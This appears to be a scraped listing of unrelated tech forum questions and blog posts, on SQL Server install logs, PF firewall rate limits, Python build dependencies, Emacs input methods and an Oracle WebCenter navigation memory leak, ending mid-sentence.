    Taken singly, it's easy to research versions and compatibility. Version information is readily available on each single part of a platform stack, such as MySQL. You can find out the latest version, stable version, and sometimes even the percentage of people adopting it by version (personally, I like seeing numbers on adoption rates). However, when trying to find the best possible mix of versions, I have a harder time. For example, "if you're using MySQL 5.5, you'll need PHP version XX or higher." It gets even more difficult to mitigate when you throw higher level platforms into the mix such as Drupal, Joomla, etc. I do consider "wizard" like installers to be beneficial, such as the Bitnami installers. However, I always wonder if those solutions cater more to the least common denominator -- be all to many -- and as such, I think I'd be better to install things on my own. Such solutions do seem kind of slow to adopt new versions, slower than necessary, I suspect. Is there a website or tool that consolidates versioning data in order to help a webmaster choose which versions to deploy or which upgrades to install, in consideration of all the other parts of the stack?

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  • Why does SQL 2005 SSIS component install fail?

    - by Ducain
    I am trying to install SSIS on our production SQL 2005 SP2 box. Each time I try, the install/setup screen results in failure, starting with the native client, and moving on down. Screen shots below show what I see: Here is the result of clicking on the status link to the right of the native client after the install failed: === Verbose logging started: 3/28/2012 16:38:08 Build type: SHIP UNICODE 3.01.4000.4042 Calling process: C:\Program Files\Microsoft SQL Server\90\Setup Bootstrap\setup.exe === MSI (c) (DC:00) [16:38:08:875]: Resetting cached policy values MSI (c) (DC:00) [16:38:08:875]: Machine policy value 'Debug' is 0 MSI (c) (DC:00) [16:38:08:875]: ******* RunEngine: ******* Product: {F9B3DD02-B0B3-42E9-8650-030DFF0D133D} ******* Action: ******* CommandLine: ********** MSI (c) (DC:00) [16:38:08:875]: Client-side and UI is none or basic: Running entire install on the server. MSI (c) (DC:00) [16:38:08:875]: Grabbed execution mutex. MSI (c) (DC:00) [16:38:08:875]: Cloaking enabled. MSI (c) (DC:00) [16:38:08:875]: Attempting to enable all disabled priveleges before calling Install on Server MSI (c) (DC:00) [16:38:08:875]: Incrementing counter to disable shutdown. Counter after increment: 0 MSI (s) (90:F0) [16:38:08:875]: Grabbed execution mutex. MSI (s) (90:D4) [16:38:08:875]: Resetting cached policy values MSI (s) (90:D4) [16:38:08:875]: Machine policy value 'Debug' is 0 MSI (s) (90:D4) [16:38:08:875]: ******* RunEngine: ******* Product: {F9B3DD02-B0B3-42E9-8650-030DFF0D133D} ******* Action: ******* CommandLine: ********** MSI (s) (90:D4) [16:38:08:875]: Machine policy value 'DisableUserInstalls' is 0 MSI (s) (90:D4) [16:38:08:890]: Warning: Local cached package 'C:\WINDOWS\Installer\65eb99.msi' is missing. MSI (s) (90:D4) [16:38:08:890]: User policy value 'SearchOrder' is 'nmu' MSI (s) (90:D4) [16:38:08:890]: User policy value 'DisableMedia' is 0 MSI (s) (90:D4) [16:38:08:890]: Machine policy value 'AllowLockdownMedia' is 0 MSI (s) (90:D4) [16:38:08:890]: SOURCEMGMT: Media enabled only if package is safe. MSI (s) (90:D4) [16:38:08:890]: SOURCEMGMT: Looking for sourcelist for product {F9B3DD02-B0B3-42E9-8650-030DFF0D133D} MSI (s) (90:D4) [16:38:08:890]: SOURCEMGMT: Adding {F9B3DD02-B0B3-42E9-8650-030DFF0D133D}; to potential sourcelist list (pcode;disk;relpath). MSI (s) (90:D4) [16:38:08:890]: SOURCEMGMT: Now checking product {F9B3DD02-B0B3-42E9-8650-030DFF0D133D} MSI (s) (90:D4) [16:38:08:890]: SOURCEMGMT: Media is enabled for product. MSI (s) (90:D4) [16:38:08:890]: SOURCEMGMT: Attempting to use LastUsedSource from source list. MSI (s) (90:D4) [16:38:08:890]: SOURCEMGMT: Trying source C:\Program Files\Microsoft SQL Server\90\Setup Bootstrap\Cache\. MSI (s) (90:D4) [16:38:08:890]: SOURCEMGMT: Source is invalid due to invalid package code (product code doesn't match). MSI (s) (90:D4) [16:38:08:890]: Note: 1: 1706 2: -2147483646 3: sqlncli.msi MSI (s) (90:D4) [16:38:08:890]: SOURCEMGMT: Processing net source list. MSI (s) (90:D4) [16:38:08:890]: Note: 1: 1706 2: -2147483647 3: sqlncli.msi MSI (s) (90:D4) [16:38:08:890]: SOURCEMGMT: Processing media source list. MSI (s) (90:D4) [16:38:09:921]: SOURCEMGMT: Trying media source F:\. MSI (s) (90:D4) [16:38:09:921]: Note: 1: 2203 2: F:\sqlncli.msi 3: -2147287038 MSI (s) (90:D4) [16:38:09:921]: SOURCEMGMT: Source is invalid due to missing/inaccessible package. MSI (s) (90:D4) [16:38:09:921]: Note: 1: 1706 2: -2147483647 3: sqlncli.msi MSI (s) (90:D4) [16:38:09:921]: SOURCEMGMT: Processing URL source list. MSI (s) (90:D4) [16:38:09:921]: Note: 1: 1402 2: UNKNOWN\URL 3: 2 MSI (s) (90:D4) [16:38:09:921]: Note: 1: 1706 2: -2147483647 3: sqlncli.msi MSI (s) (90:D4) [16:38:09:921]: Note: 1: 1706 2: 3: sqlncli.msi MSI (s) (90:D4) [16:38:09:921]: SOURCEMGMT: Failed to resolve source MSI (s) (90:D4) [16:38:09:921]: MainEngineThread is returning 1612 MSI (c) (DC:00) [16:38:09:921]: Decrementing counter to disable shutdown. If counter >= 0, shutdown will be denied. Counter after decrement: -1 MSI (c) (DC:00) [16:38:09:921]: MainEngineThread is returning 1612 === Verbose logging stopped: 3/28/2012 16:38:09 === Here is the log visible when I click the failed status for MSXML6: === Verbose logging started: 3/28/2012 16:38:12 Build type: SHIP UNICODE 3.01.4000.4042 Calling process: C:\Program Files\Microsoft SQL Server\90\Setup Bootstrap\setup.exe === MSI (c) (DC:58) [16:38:12:250]: Resetting cached policy values MSI (c) (DC:58) [16:38:12:250]: Machine policy value 'Debug' is 0 MSI (c) (DC:58) [16:38:12:250]: ******* RunEngine: ******* Product: {56EA8BC0-3751-4B93-BC9D-6651CC36E5AA} ******* Action: ******* CommandLine: ********** MSI (c) (DC:58) [16:38:12:250]: Client-side and UI is none or basic: Running entire install on the server. MSI (c) (DC:58) [16:38:12:250]: Grabbed execution mutex. MSI (c) (DC:58) [16:38:12:250]: Cloaking enabled. MSI (c) (DC:58) [16:38:12:250]: Attempting to enable all disabled priveleges before calling Install on Server MSI (c) (DC:58) [16:38:12:250]: Incrementing counter to disable shutdown. Counter after increment: 0 MSI (s) (90:58) [16:38:12:265]: Grabbed execution mutex. MSI (s) (90:DC) [16:38:12:265]: Resetting cached policy values MSI (s) (90:DC) [16:38:12:265]: Machine policy value 'Debug' is 0 MSI (s) (90:DC) [16:38:12:265]: ******* RunEngine: ******* Product: {56EA8BC0-3751-4B93-BC9D-6651CC36E5AA} ******* Action: ******* CommandLine: ********** MSI (s) (90:DC) [16:38:12:265]: Machine policy value 'DisableUserInstalls' is 0 MSI (s) (90:DC) [16:38:12:265]: Warning: Local cached package 'C:\WINDOWS\Installer\ce6d56e.msi' is missing. MSI (s) (90:DC) [16:38:12:265]: User policy value 'SearchOrder' is 'nmu' MSI (s) (90:DC) [16:38:12:265]: User policy value 'DisableMedia' is 0 MSI (s) (90:DC) [16:38:12:265]: Machine policy value 'AllowLockdownMedia' is 0 MSI (s) (90:DC) [16:38:12:265]: SOURCEMGMT: Media enabled only if package is safe. MSI (s) (90:DC) [16:38:12:265]: SOURCEMGMT: Looking for sourcelist for product {56EA8BC0-3751-4B93-BC9D-6651CC36E5AA} MSI (s) (90:DC) [16:38:12:265]: SOURCEMGMT: Adding {56EA8BC0-3751-4B93-BC9D-6651CC36E5AA}; to potential sourcelist list (pcode;disk;relpath). MSI (s) (90:DC) [16:38:12:265]: SOURCEMGMT: Now checking product {56EA8BC0-3751-4B93-BC9D-6651CC36E5AA} MSI (s) (90:DC) [16:38:12:265]: SOURCEMGMT: Media is enabled for product. MSI (s) (90:DC) [16:38:12:265]: SOURCEMGMT: Attempting to use LastUsedSource from source list. MSI (s) (90:DC) [16:38:12:265]: SOURCEMGMT: Trying source d:\2a2ac35788eea9066bae01\. MSI (s) (90:DC) [16:38:12:265]: Note: 1: 2203 2: d:\2a2ac35788eea9066bae01\msxml6.msi 3: -2147287037 MSI (s) (90:DC) [16:38:12:265]: SOURCEMGMT: Source is invalid due to missing/inaccessible package. MSI (s) (90:DC) [16:38:12:265]: Note: 1: 1706 2: -2147483647 3: msxml6.msi MSI (s) (90:DC) [16:38:12:265]: SOURCEMGMT: Processing net source list. MSI (s) (90:DC) [16:38:12:265]: Note: 1: 1706 2: -2147483647 3: msxml6.msi MSI (s) (90:DC) [16:38:12:265]: SOURCEMGMT: Processing media source list. MSI (s) (90:DC) [16:38:12:296]: SOURCEMGMT: Trying media source F:\. MSI (s) (90:DC) [16:38:12:296]: Note: 1: 2203 2: F:\msxml6.msi 3: -2147287038 MSI (s) (90:DC) [16:38:12:296]: SOURCEMGMT: Source is invalid due to missing/inaccessible package. MSI (s) (90:DC) [16:38:12:296]: Note: 1: 1706 2: -2147483647 3: msxml6.msi MSI (s) (90:DC) [16:38:12:296]: SOURCEMGMT: Processing URL source list. MSI (s) (90:DC) [16:38:12:296]: Note: 1: 1402 2: UNKNOWN\URL 3: 2 MSI (s) (90:DC) [16:38:12:296]: Note: 1: 1706 2: -2147483647 3: msxml6.msi MSI (s) (90:DC) [16:38:12:296]: Note: 1: 1706 2: 3: msxml6.msi MSI (s) (90:DC) [16:38:12:296]: SOURCEMGMT: Failed to resolve source MSI (s) (90:DC) [16:38:12:296]: MainEngineThread is returning 1612 MSI (c) (DC:58) [16:38:12:296]: Decrementing counter to disable shutdown. If counter >= 0, shutdown will be denied. Counter after decrement: -1 MSI (c) (DC:58) [16:38:12:296]: MainEngineThread is returning 1612 === Verbose logging stopped: 3/28/2012 16:38:12 === When I click on the failed status for SSIS, no log file appears at all. To be honest, I'm not even sure where to start on this one - never guessed it would be so much trouble to add a component right from the disk. Any help or pointers whatsoever would be greatly appreciated. If any more details are needed, please ask - I'd be glad to add them.

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  • Visual Studio 2008 “Format Document/Selection” command and a function named “assert” in JavaScript c

    - by AGS777
    Just have found some funny behavior of the Visual Studio 2008 editor.  Sorry if it is already well known bug. If you happened to have a JavaScript function named “assert” in your code (and there is pretty high likelihood in my opinion), for example something like: function assert(x, message) { if (x) console.log(message); } then when either Format Document (Ctrl + K, Ctrl + D) or Format Selection (Ctrl + K, Ctrl + F) command is applied to the document/block containing the function, the result of the formatting will be: functionassert(x, message) { if (x) console.log(message); } That’s it. function and assert are now joined into one solid word. So be aware of the fact in case you suddenly start receiving  strange exception in your JavaScript code: missing ; before statement functionassert(x, message) And no, it is not an April Fool's joke. Just try for yourself.

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  • Block Google requests to 16k using pf firewall

    - by atmosx
    I'd like to block access to Google search using PF after the threshold of 17500 requests (connection established) in 24h, from a host running FreeBSD 9. What I came up with, after reading pf-faq is this rule: pass out on $net proto tcp from any to 'www.google.com' port www flags S/SA keep state (max-src-conn 200, max-src-conn-rate 17500/86400) NOTE: 86400 are 24h in seconds. The rule should work, but PF is smart enough to know that www.google.com resolves in 5 different IPs. So my pfctl -sr output gives me this: pass out on vte0 inet proto tcp from any to 173.194.44.81 port = http flags S/SA keep state (source-track rule, max-src-conn 200, max-src-conn-rate 17500/86400, src.track 86400) pass out on vte0 inet proto tcp from any to 173.194.44.82 port = http flags S/SA keep state (source-track rule, max-src-conn 200, max-src-conn-rate 17500/86400, src.track 86400) pass out on vte0 inet proto tcp from any to 173.194.44.83 port = http flags S/SA keep state (source-track rule, max-src-conn 200, max-src-conn-rate 17500/86400, src.track 86400) pass out on vte0 inet proto tcp from any to 173.194.44.80 port = http flags S/SA keep state (source-track rule, max-src-conn 200, max-src-conn-rate 17500/86400, src.track 86400) pass out on vte0 inet proto tcp from any to 173.194.44.84 port = http flags S/SA keep state (source-track rule, max-src-conn 200, max-src-conn-rate 17500/86400, src.track 86400) PF creates 5 different rules, 1 for each IP that Google resolves. However I have the sense - without being 100% sure, I didn't had the chance to test it - that the number 17500/86400 applies for each IP. If that's the case - please confirm - then it's not what I want. In pf-faq there's another option called source-track-global: source-track This option enables the tracking of number of states created per source IP address. This option has two formats: + source-track rule - The maximum number of states created by this rule is limited by the rule's max-src-nodes and max-src-states options. Only state entries created by this particular rule count toward the rule's limits. + source-track global - The number of states created by all rules that use this option is limited. Each rule can specify different max-src-nodes and max-src-states options, however state entries created by any participating rule count towards each individual rule's limits. The total number of source IP addresses tracked globally can be controlled via the src-nodes runtime option. I tried to apply source-track-global in the above rule without success. How can I use this option in order to achieve my goal? Any thoughts or comments are more than welcome since I'm an amateur and don't fully understand PF yet. Thanks

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  • Lancement du nom de domaine .42 par des militants de l'open-source, un projet soutenu par Tristan Nitot mais critiqué par d'autres

    .42 : lancement du premier domaine de premier niveau non-officiel Exemple de fermeture ou première brique d'un internet ouvert ? 42, la réponse universelle à la grande question sur la vie, l'univers et tout le reste est désormais plus qu'une référence de geek. C'est aussi une extension de domaine au même titre que les .com, .fr et autres .org. Plusieurs militants français du logiciel libre (dont Tristan Nitot, président et fondateur de Mozilla Europe) viennent en effet de lancer une initiative audacieuse, celle de tenir tête à l'ICANN, l'organisme américain qui contrôle les serveurs DNS racine (dont la neutralité est remise en cause par certains avec

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  • Are CK Metrics still considered useful? Is there an open source tool to help?

    - by DeveloperDon
    Chidamber & Kemerer proposed several metrics for object oriented code. Among them, depth of inheritance tree, weighted number of methods, number of member functions, number of children, and coupling between objects. Using a base of code, they tried to correlated these metrics to the defect density and maintenance effort using covariant analysis. Are these metrics actionable in projects? Perhaps they can guide refactoring. For example weighted number of methods might show which God classes needed to be broken into more cohesive classes that address a single concern. Is there approach superseded by a better method, and is there a tool that can identify problem code, particularly in moderately large project being handed off to a new developer or team?

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  • Does it make sense to develop open source python library for database inspection?

    - by gruszczy
    Some time ago I came up with an idea for a library for database inspection. I started developing it and got some very basic functionality, just to check if that's possible. Recently however, I get second thoughts, whether such project would really be useful. I am actually planning to develop following software suite: library for python, that would provide easy interface to inspect database structure, desktop application in PyQt that would use the interface to provide graphical database inspection, web application in Django that would use the interface to provide database inspection through the browser. Do you think such suite would be useful for other developers/database administrators/analysts? I know, that there is pgadmin for PostgreSQL and some tool for sqlite3 and that there is Java tool called DBInspect. Usually I would be against creating new tool and rather join existing project, but I am not Java programmer (and I would rather stick to python or C, which I like) and none of these projects provide a library for database inspection. Anyway I would like to hear some opinions from fellow developers, whether such project make sense or I should try to spend my free time on developing something else.

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  • How to zoom in&zoom out

    - by stanimir
    While using 10.04 and the previous versions I used to put ctrl+F6 to zoom in and subsequently ctrl+F7 to zoom out. Now I can't even find the options to zoom in and zoom out in the "keyboard shortcuts". I tried "the Magnifier" in the Compiz but really can't understand what is going on right there. There is simple question I would like to ask: What to do so as to be able to zoom in with ctrl+F6 and zoom out with ctrl+F7? Thanks a lot.

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  • International multi-OS keyboard layout for both coding and surfing?

    - by rassie
    So yes, the problem has been raised in parts multiple times already. Still I'm looking for a keyboard layout that has the following features: Easy on fingers (Dvorak-like layouts welcome) Easy for coding Includes german characters (typing ä with AltGr-p is not ok). Works well with web-browsing (Ctrl-t and Ctrl-w on one hand, left one very much preferred, since that's where my ex-CapsLock, now Ctrl lies) Works well with default Emacs bindings Works on both Windows and Linux (at least easily installable) I've looked at Dvorak and Neo, they both have a "shortcut problem", i.e. web-browsing and most frequent Emacs combinations use both parts of the keyboard. Using right Ctrl is usually not an option, since it'll give me RSI much faster than keeping QWERTY/Z. Funnily enough, mirroring the default Neo layout would probably be enough for me. So, any ideas?

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  • In the Cloud, Everything Costs Money

    - by BuckWoody
    I’ve been teaching my daughter about budgeting. I’ve explained that most of the time the money coming in is from only one or two sources – and you can only change that from time to time. The money going out, however, is to many locations, and it changes all the time. She’s made a simple debits and credits spreadsheet, and I’m having her research each part of the budget. Her eyes grow wide when she finds out everything has a cost – the house, gas for the lawnmower, dishes, water for showers, food, electricity to run the fridge, a new fridge when that one breaks, everything has a cost. She asked me “how do you pay for all this?” It’s a sentiment many adults have looking at their own budgets – and one reason that some folks don’t even make a budget. It’s hard to face up to the realities of how much it costs to do what we want to do. When we design a computing solution, it’s interesting to set up a similar budget, because we don’t always consider all of the costs associated with it. I’ve seen design sessions where the new software or servers are considered, but the “sunk” costs of personnel, networking, maintenance, increased storage, new sizes for backups and offsite storage and so on are not added in. They are already on premises, so they are assumed to be paid for already. When you move to a distributed architecture, you'll see more costs directly reflected. Store something, pay for that storage. If the system is deployed and no one is using it, you’re still paying for it. As you watch those costs rise, you might be tempted to think that a distributed architecture costs more than an on-premises one. And you might be right – for some solutions. I’ve worked with a few clients where moving to a distributed architecture doesn’t make financial sense – so we didn’t implement it. I still designed the system in a distributed fashion, however, so that when it does make sense there isn’t much re-architecting to do. In other cases, however, if you consider all of the on-premises costs and compare those accurately to operating a system in the cloud, the distributed system is much cheaper. Again, I never recommend that you take a “here-or-there-only” mentality – I think a hybrid distributed system is usually best – but each solution is different. There simply is no “one size fits all” to architecting a solution. As you design your solution, cost out each element. You might find that using a hybrid approach saves you money in one design and not in another. It’s a brave new world indeed. So yes, in the cloud, everything costs money. But an on-premises solution also costs money – it’s just that “dad” (the company) is paying for it and we don’t always see it. When we go out on our own in the cloud, we need to ensure that we consider all of the costs.

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  • What are the packages/libraries I should install before compiling Python from source?

    - by Lennart Regebro
    Once in a while I need to install a new Ubuntu (I used it both for desktop and servers) and I always forget a couple of libraries I should have installed before compiling, meaning I have to recompile, and it's getting annoying. So now I want to make a complete list of all library packages to install before compiling Python (and preferably how optional they are). This is the list I compiled with below help and by digging in setup.py. It is complete for Ubuntu 10.04 and 11.04 at least: build-essential (obviously) libz-dev (also pretty common and essential) libreadline-dev (or the Python prompt is crap) libncursesw5-dev libssl-dev libgdbm-dev libsqlite3-dev libbz2-dev More optional: tk-dev libdb-dev Ubuntu has no packages for v1.8.5 of the Berkeley database, nor (for obvious reasons) the Sun audio hardware, so the bsddb185 and sunaudiodev modules will still not be built on Ubuntu, but all other modules are built with the above packages installed. Python 2.5 and Python 2.6 also needs to have LDFLAGS set on Ubuntu 11.04 and later, to handle the new multi-arch layout: export LDFLAGS="-L/usr/lib/$(dpkg-architecture -qDEB_HOST_MULTIARCH)" For Python 2.6 and 2.7 you also need to explicitly enable SSL after running the ./configure script and before running make. In Modules/Setup there are lines like this: #SSL=/usr/local/ssl #_ssl _ssl.c \ # -DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \ # -L$(SSL)/lib -lssl -lcrypto Uncomment these lines and change the SSL variable to /usr: SSL=/usr _ssl _ssl.c \ -DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \ -L$(SSL)/lib -lssl -lcrypto Python 2.6 also needs Modules/_ssl.c modified to be used with OpenSSL 1.0, which is used in Ubuntu 11.10. At around line 300 you'll find this: else if (proto_version == PY_SSL_VERSION_SSL3) self->ctx = SSL_CTX_new(SSLv3_method()); /* Set up context */ else if (proto_version == PY_SSL_VERSION_SSL2) self->ctx = SSL_CTX_new(SSLv2_method()); /* Set up context */ else if (proto_version == PY_SSL_VERSION_SSL23) self->ctx = SSL_CTX_new(SSLv23_method()); /* Set up context */ Change that into: else if (proto_version == PY_SSL_VERSION_SSL3) self->ctx = SSL_CTX_new(SSLv3_method()); /* Set up context */ #ifndef OPENSSL_NO_SSL2 else if (proto_version == PY_SSL_VERSION_SSL2) self->ctx = SSL_CTX_new(SSLv2_method()); /* Set up context */ #endif else if (proto_version == PY_SSL_VERSION_SSL23) self->ctx = SSL_CTX_new(SSLv23_method()); /* Set up context */ This disables SSL_v2 support, which apparently is gone in OpenSSL1.0.

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  • How to properly set up a network bridge using bridge-utils using wlan0 as the internet "source"?

    - by Miguel Azevedo
    Hey everyone this is my first post so go easy on me. I currently have a laptop with Ubuntu Studio 12.04 Beta 2 that is supplying a wireless internet connection to a windows 7 desktop computer that's connected directly to the laptop through Ethernet. I'm using the "shared to other computers" method in network manager but I believe it doesn't work with what I want to do. I would like to have the windows computer on the same subnet as every other computer in my house (192.168.1.x) so I can use LAN applications (MIDI over WiFi, Bonjour etc.) on the windows computer without having to run a massive cable to the router. I've been googling endlessly and tried multiple configurations in the /etc/network/interfaces file without success. All of them would report "cannot add wlan0 to bridge" Is there a specific way to make this work? What am I missing? Thank you

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  • Dalvik + Java licensing question

    - by Andrew Bate
    This is a licensing question about the Dalvik and J2SE core libraries. In particular the license governing java.util.concurrent.SynchronousQueue. The license header of the class in the JDK source states that it is GPLv2 only (see grepcode). However, the same file in the Dalvik core libraries seems to be governed by the Apache 2 license only (see android source). How is this possible? I didn't think you could take GPLv2 source and re-license it as Apache 2. (It's obvious they did: a comment above the Java Doc even says "removed link to collections framework docs"!) I'm asking because I have a GPLv3 project and would like to include a derivative work of some source from the core libraries (either Dalvik or J2SE) but publish it under GPLv3. I thought I could do this with Apache 2, but not GPLv2. I know that the J2SE class source is itself derivative work from public domain source, but the changes from the original are substantial. (The original is available at gee.cs.oswego.edu if you are interested.) Therefore the android source really is just a copy of the J2SE source, but published under Apache 2 instead of GPLv2. Is Google really allowed to do this?

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  • Should my colleagues review each others code from source control system?

    - by Daniel Excinsky
    Hi everybody. So that's my story: one of my colleagues uses to review all the code, hosted to revision system. I'm not speaking about adequate review of changes in parts that he belongs to. He watches the code file to file, line to line. Every new file and every modified. I feel just like being spied on! My guess is that if code was already hosted to control system, you should trust it as workable at least. My question is, maybe I'm just too paranoiac and practice of reviewing each others code is good? P.S: We're team of only three developers, and I fear that if there will be more of us, colleague just won't have time to review all the the code we'll write.

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  • Exchange 2003 and Outlook rule: Send auto reply message not working

    - by Mestika
    Hi, I have created a distributed group which have to send a auto reply when receiving a mail. I know that it is impossible to send a auto reply within a distributed group, but following a guide I have created a mail account called “noreply”. In outlook I have created a rule in the “noreply” account where I chose following conditions: Send to a person or distributed list (where I selected my distributed group) Then to specify what to do with that message I selected Have server reply using a specific message I’ve created my message and saved it. But when I try to write an e-mail to the distributed group it doesn’t send back the reply message. Does anyone knows what I’m doing wrong? Sincerely Mestika

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  • How to open the JavaScript console in different browsers?

    - by Šime Vidas
    Updated on October 7th 2012 Chrome: Press either CTRL + SHIFT + J to open the "Console" tab of the Developer Tools. Alternative method: Press either CTRL + SHIFT + I or F12 to open the Developer Tools. Press ESC (or click on "Show console" in the bottom right corner) to slide the console up. Note: In Chrome's dev tools, there is a "Console" tab. However, a smaller "slide-up" console can be opened while any of the other tabs is active. Safari: Press CTRL + ALT + I to open the Web Inspector. See Chrome's step 2. (Chrome and Safari have pretty much identical dev tools.) Note: Step 1 only works if the "Show Develop menu in menu bar" check box in the Advanced tab of the Preferences menu is checked! IE9: Press F12 to open the developer tools. Click the "Console" tab. Firefox: Press CTRL + SHIFT + K to open the Web console. or, if Firebug is installed (recommended): Press F12 to open Firebug. Click on the "Console" tab. Opera: Press CTRL + SHIFT + I to open Dragonfly. Click on the "Console" tab.

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  • Sonatype soumet le projet Open Source Tycho à la communauté Eclipse, la version 1.0 attendue pour Q3

    Bonjour, Sonatype a finalisé la proposition du projet Tycho en tant que projet Eclipse Le but de Tycho est de s'appuyer sur l'outil de build Maven pour construire des plugins Eclipse, features, update sites, applications RCP, et bundles OSGi. concrètement, Tycho correspond à un ensemble de plugins Maven. La liste des premiers committers serait à 100% Sonatype :Igor Fedorenko (project lead) Benjamin Bentmann Marvin Froeder Jason van Zyl Tycho se positionne sur le créneau des solutions Eclipse Buckminster, B3, PDE Build, et Athena. Certains d'entre vous se sont déjà intéressé à Tycho ? Que pensez...

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  • IBus client for GNU Emacs: Installed, but how do I start it?

    - by fred.bear
    Having recently moved to Linux/Ubuntu, I'm looking for a good editor, and GNU Emacs seems to fit the bill. One thing I want from a text editor is the ability to handle Unicode Input Method Editors in a "normal way", across the board. For Ubuntu, the "normal way" is via IBus. However, emacs does not support IBus "off the shelf". I found a launchpad project: IBus client for GNU Emacs: ibus-el. I've installed ibus-el and set it up as per the Customize section of this emacswiki IBusMode page. I included the suggested "toggle" keybinding: ;; Use s-SPC to toggle input status It seems to have installed okay, but I have no idea how to invoke IBus and switch IMEs. s-SPC doesn't fire up the IBus language panel... I'm stuck :( ...so close, yet so far.... Here are the startup *messages* Loading 00debian-vars... No /etc/mailname. Reverting to default... Loading 00debian-vars...done Loading /etc/emacs/site-start.d/50autoconf.el (source)...done Loading /etc/emacs/site-start.d/50dictionaries-common.el (source)... Loading debian-ispell... Loading /var/cache/dictionaries-common/emacsen-ispell-default.el (source)...done Loading debian-ispell...done Loading /var/cache/dictionaries-common/emacsen-ispell-dicts.el (source)...done Loading /etc/emacs/site-start.d/50dictionaries-common.el (source)...done Loading /etc/emacs/site-start.d/50festival.el (source)...done Loading /etc/emacs/site-start.d/50gtk-doc-tools.el (source)...done Loading /etc/emacs/site-start.d/50ibus-el.el (source)...done IBus: Xlib.protocol.request.QueryExtension IBus: Agent successfully started for display ":0.0"

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  • E.T. Phone "Home" - Hey I've discovered a leak..!

    - by Martin Deh
    Being a member of the WebCenter ATEAM, we are often asked to performance tune a WebCenter custom portal application or a WebCenter Spaces deployment.  Most of the time, the process is pretty much the same.  For example, we often use tools like httpWatch and FireBug to monitor the application, and then perform load tests using JMeter or Selenium.  In addition, there are the fine tuning of the different performance based tuning parameters that are outlined in the documentation and by blogs that have been written by my fellow ATEAMers (click on the "performance" tag in this ATEAM blog).  While performing the load test where the outcome produces a significant reduction in the systems resources (memory), one of the causes that plays a role in memory "leakage" is due to the implementation of the navigation menu UI.  OOTB in both JDeveloper and WebCenter Spaces, there are sample (page) templates that include a "default" navigation menu.  In WebCenter Spaces, this is through the SpacesNavigationModel taskflow region, and in a custom portal (i.e. pageTemplate_globe.jspx) the menu UI is contructed using standard ADF components.  These sample menu UI's basically enable the underlying navigation model to visualize itself to some extent.  However, due to certain limitations of these sample menu implementations (i.e. deeper sub-level of navigations items, look-n-feel, .etc), many customers have developed their own custom navigation menus using a combination of HTML, CSS and JQuery.  While this is supported somewhat by the framework, it is important to know what are some of the best practices in ensuring that the navigation menu does not leak.  In addition, in this blog I will point out a leak (BUG) that is in the sample templates.  OK, E.T. the suspence is killing me, what is this leak? Note: for those who don't know, info on E.T. can be found here In both of the included templates, the example given for handling the navigation back to the "Home" page, will essentially provide a nice little memory leak every time the link is clicked. Let's take a look a simple example, which uses the default template in Spaces. The outlined section below is the "link", which is used to enable a user to navigation back quickly to the Group Space Home page. When you (mouse) hover over the link, the browser displays the target URL. From looking initially at the proposed URL, this is the intended destination.  Note: "home" in this case is the navigation model reference (id), that enables the display of the "pretty URL". Next, notice the current URL, which is displayed in the browser.  Remember, that PortalSiteHome = home.  The other highlighted item adf.ctrl-state, is very important to the framework.  This item is basically a persistent query parameter, which is used by the (ADF) framework to managing the current session and page instance.  Without this parameter present, among other things, the browser back-button navigation will fail.  In this example, the value for this parameter is currently 95K25i7dd_4.  Next, through the navigation menu item, I will click on the Page2 link. Inspecting the URL again, I can see that it reports that indeed the navigation is successful and the adf.ctrl-state is also in the URL.  For those that are wondering why the URL displays Page3.jspx, instead of Page2.jspx. Basically the (file) naming convention for pages created ar runtime in Spaces start at Page1, and then increment as you create additional pages.  The name of the actual link (i.e. Page2) is the page "title" attribute.  So the moral of the story is, unlike design time created pages, run time created pages the name of the file will 99% never match the name that appears in the link. Next, is to click on the quick link for navigating back to the Home page. Quick investigation yields that the navigation was indeed successful.  In the browser's URL there is a home (pretty URL) reference, and there is also a reference to the adf.ctrl-state parameter.  So what's the issue?  Can you remember what the value was for the adf.ctrl-state?  The current value is 3D95k25i7dd_149.  However, the previous value was 95k25i7dd_4.  Here is what happened.  Remember when (mouse) hovering over the link produced the following target URL: http://localhost:8888/webcenter/spaces/NavigationTest/home This is great for the browser as this URL will navigate to the intended targer.  However, what is missing is the adf.ctrl-state parameter.  Since this parameter was not present upon navigation "within" the framework, the ADF framework produced another adf.ctrl-state (object).  The previous adf.ctrl-state basically is orphaned while continuing to be alive in memory.  Note: the auto-creation of the adf.ctrl state does happen initially when you invoke the Spaces application  for the first time.  The following is the line of code which produced the issue: <af:goLink destination="#{boilerBean.globalLogoURIInSpace} ... Here the boilerBean is responsible for returning the "string" url, which in this case is /spaces/NavigationTest/home. Unfortunately, again what is missing is adf.ctrl-state. Note: there are more than one instance of the goLinks in the sample templates. So E.T. how can I correct this? There are 2 simple fixes.  For the goLink's destination, use the navigation model to return the actually "node" value, then use the goLinkPrettyUrl method to add the current adf.ctrl-state: <af:goLink destination="#{navigationContext.defaultNavigationModel.node['home'].goLinkPrettyUrl}"} ... />  Note: the node value is the [navigation model id]  Using a goLink does solve the main issue.  However, since the link basically does a redirect, some browsers like IE will produce a somewhat significant "flash".  In a Spaces application, this may be an annoyance to the users.  Another way to solve the leakage problem, and also remove the flash between navigations is to use a af:commandLink.  For example, here is the code example for this scenario: <af:commandLink id="pt_cl2asf" actionListener="#{navigationContext.processAction}" action="pprnav">    <f:attribute name="node" value="#{navigationContext.defaultNavigationModel.node['home']}"/> </af:commandLink> Here, the navigation node to where home is located is delivered by way of the attribute to the commandLink.  The actual navigation is performed by the processAction, which is needing the "node" value. E.T. OK, you solved the OOTB sample BUG, what about my custom navigation code? I have seen many implementations of creating a navigation menu through custom code.  In addition, there are some blog sites that also give detailed examples.  The majority of these implementations are very similar.  The code usually involves using standard HTML tags (i.e. DIVS, UL, LI, .,etc) and either CSS or JavaScript (JQuery) to produce the flyout/drop-down effect.  The navigation links in these cases are standard <a href... > tags.  Although, this type of approach is not fully accepted by the ADF community, it does work.  The important thing to note here is that the <a> tag value must use the goLinkPrettyURL method of contructing the target URL.  For example: <a href="${contextRoot}${menu.goLinkPrettyUrl}"> The main reason why this type of approach is popular is that links that are created this way (also with using af:goLinks), the pages become crawlable by search engines.  CommandLinks are currently not search friendly.  However, in the case of a Spaces instance this may be acceptable.  So in this use-case, af:commandLinks, which would replace the <a>  (or goLink) tags. The example code given of the af:commandLink above is still valid. One last important item.  If you choose to use af:commandLinks, special attention must be given to the scenario in which java script has been used to produce the flyout effect in the custom menu UI.  In many cases that I have seen, the commandLink can only be invoked once, since there is a 